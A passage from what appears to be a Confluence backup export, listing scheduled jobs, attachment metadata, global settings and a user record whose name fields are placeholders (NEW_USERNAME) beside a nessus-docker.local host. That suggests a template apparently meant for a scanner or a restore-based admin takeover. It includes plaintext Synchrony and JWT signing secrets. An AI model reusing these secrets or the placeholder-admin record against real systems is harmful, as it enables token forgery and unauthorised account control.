<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
<property name="key"><![CDATA[efi.store.onboarding.onboardingSpaceCheckJob]]></property>
<property name="value"><![CDATA[<string>JOB_FIRST_EXECUTE</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32877</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#cleanupTrigger]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32874</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#summaryEmail]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98349</id>
<property name="hibernateVersion">18</property>
<property name="title"><![CDATA[next.jpg]]></property>
<property name="lowerTitle"><![CDATA[next.jpg]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262225</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262233</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262237</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32875</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#onboardingSpaceCheckJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98350</id>
<property name="hibernateVersion">19</property>
<property name="title"><![CDATA[step04-01.png]]></property>
<property name="lowerTitle"><![CDATA[step04-01.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262202</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262208</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262234</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262241</id>
</element>
</collection>
<property name="version">4</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32872</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#jira-metadata-cache-config]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98347</id>
<property name="hibernateVersion">17</property>
<property name="title"><![CDATA[start.jpg]]></property>
<property name="lowerTitle"><![CDATA[start.jpg]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262206</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262231</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262232</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32873</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#deletedInviteesCleanUpJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98348</id>
<property name="hibernateVersion">20</property>
<property name="title"><![CDATA[step06-image02.png]]></property>
<property name="lowerTitle"><![CDATA[step06-image02.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262215</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262216</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262217</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262221</id>
</element>
</collection>
<property name="version">3</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32870</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#flushEdgeIndexQueue]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98353</id>
<property name="hibernateVersion">21</property>
<property name="title"><![CDATA[step06-image01.png]]></property>
<property name="lowerTitle"><![CDATA[step06-image01.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262218</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262219</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262220</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262261</id>
</element>
</collection>
<property name="version">4</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32871</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#conversionQueueMonitor]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98354</id>
<property name="hibernateVersion">3</property>
<property name="title"><![CDATA[step05-01.png]]></property>
<property name="lowerTitle"><![CDATA[step05-01.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262266</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262267</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262268</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262269</id>
</element>
</collection>
<property name="version">1</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32868</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#addonHouskeeperTrigger-v2]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98351</id>
<property name="hibernateVersion">9</property>
<property name="title"><![CDATA[step05-03.png]]></property>
<property name="lowerTitle"><![CDATA[step05-03.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262245</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262257</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262263</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262264</id>
</element>
</collection>
<property name="version">2</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32869</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#purgeHistoryJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98352</id>
<property name="hibernateVersion">8</property>
<property name="title"><![CDATA[step04-02.png]]></property>
<property name="lowerTitle"><![CDATA[step04-02.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262251</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262252</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262253</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262272</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32834</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[synchrony_collaborative_editor_app_id]]></property>
<property name="value"><![CDATA[<string>Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32835</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[synchrony_collaborative_editor_app_secret]]></property>
<property name="value"><![CDATA[<string>ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32832</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..logged_base_analytics_data]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32833</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-update]]></property>
<property name="value"><![CDATA[<list>
<string>com.atlassian.migration.agent</string>
<string>com.atlassian.troubleshooting.plugin-confluence</string>
</list>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32830</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[synchrony_collaborative_editor_app_base_url]]></property>
<property name="value"><![CDATA[<string>http://nessus-docker.local:8090/synchrony-proxy,http://nessus-docker.local:8090/synchrony-proxy</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32831</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[synchrony_collaborative_editor_app_passphrase]]></property>
<property name="value"><![CDATA[<string>BxPVX1EMs+EycDmXIAthliGTBb3EAwLgeyaTxHBW4CE=</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32828</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-license.expired]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="AlertEntityImpl" package="com.atlassian.confluence.internal.diagnostics.persistence.dao.hibernate">
<id name="id">720897</id>
<property name="detailsJson"><![CDATA[{"freeInMegabytes":144,"totalInMegabytes":4160,"minimumInMegabytes":256}]]></property>
<property name="issueComponentId"><![CDATA[OS]]></property>
<property name="issueId"><![CDATA[OS-1001]]></property>
<property name="issueSeverity" enum-class="Severity" package="com.atlassian.diagnostics">WARNING</property>
<property name="nodeName"><![CDATA[3b0401e4191f]]></property>
<property name="nodeNameLower"><![CDATA[3b0401e4191f]]></property>
<property name="timestampUtc">1699509909923</property>
<property name="triggerModule"/><property name="triggerPluginKey"><![CDATA[not-detected]]></property>
<property name="triggerPluginKeyLower"><![CDATA[not-detected]]></property>
<property name="triggerPluginVersion"/></object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32829</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-license.nearlyexpired]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32826</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-maintenance.expired]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32827</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-maintenance.nearlyexpired]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32824</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-evaluation.expired]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32825</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-evaluation.nearlyexpired]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32822</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-plugin.request]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32823</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..analytics_enabled]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32820</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.oauth2.provider.jwt.secret]]></property>
<property name="value"><![CDATA[<string>385f48cdf4038b1577ad4191bff5fc8ae24efbb9aaf8fea882b4d535f0297a33</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32821</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-edition.mismatch]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32850</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#FlushContentIndexScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32851</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#FlushChangeIndexScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32848</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#ExpiredUserVerificationTokenCleanupJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32849</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#VersionHardRemovalScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>false</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32846</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#DeferredFileDeletionJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32847</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#TrashSoftRemovalScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32844</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#JournalCleaner]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32845</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#clearOldMailErrorsJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32842</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#VersionSoftRemovalScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32843</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#AncestorsRepairJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32840</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#ClusterCacheCompactionJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32841</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#JmxLoggingJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32838</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#CleanTempDirectoryJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32839</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#PropertyEntryGardeningJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32836</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[confluence.darkfeature]]></property>
<property name="value"><![CDATA[<string>site-wide.shared-drafts</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32837</id>
<property name="context"><![CDATA[com.atlassian.confluence.content.render.xhtml.migration.macro.MacroMigrationService]]></property>
<property name="key"><![CDATA[migration.required]]></property>
<property name="value"><![CDATA[<boolean>false</boolean>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32886</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[c.a.c.plugins:confluence-user-rest:hadHadASingleDirectory]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32887</id>
<property name="context"><![CDATA[com.atlassian.confluence.admin.tasks.AdminTaskData]]></property>
<property name="key"><![CDATA[admintask.remigration.xhtml]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.admin.tasks.AdminTaskData>
<completedAt>2023-11-09 06:04:53.20 UTC</completedAt>
</com.atlassian.confluence.admin.tasks.AdminTaskData>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32884</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#periodicEventPublisherJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32885</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[c.a.c.plugins:confluence-user-rest:firstCheckDateMs]]></property>
<property name="value"><![CDATA[<string>1699509886924</string>]]></property>
</object>
<object class="ConfluenceUserImpl" package="com.atlassian.confluence.user">
<id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
<property name="name"><![CDATA[NEW_USERNAME]]></property>
<property name="lowerName"><![CDATA[NEW_USERNAME_LOWER]]></property>
<property name="email"><![CDATA[admin@test.com]]></property>
</object>
<object class="User2ContentRelationEntity" package="com.atlassian.confluence.internal.relations.dao">
<id name="id">229377</id>
<property name="targetContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="sourceContent" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="targetType" enum-class="RelatableEntityTypeEnum" package="com.atlassian.confluence.internal.relations">PAGE</property>
<property name="relationName"><![CDATA[collaborator]]></property>
<property name="creationDate">2020-10-21 01:32:57.499</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
</object>
<object class="User2ContentRelationEntity" package="com.atlassian.confluence.internal.relations.dao">
<id name="id">229378</id>
<property name="targetContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="sourceContent" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
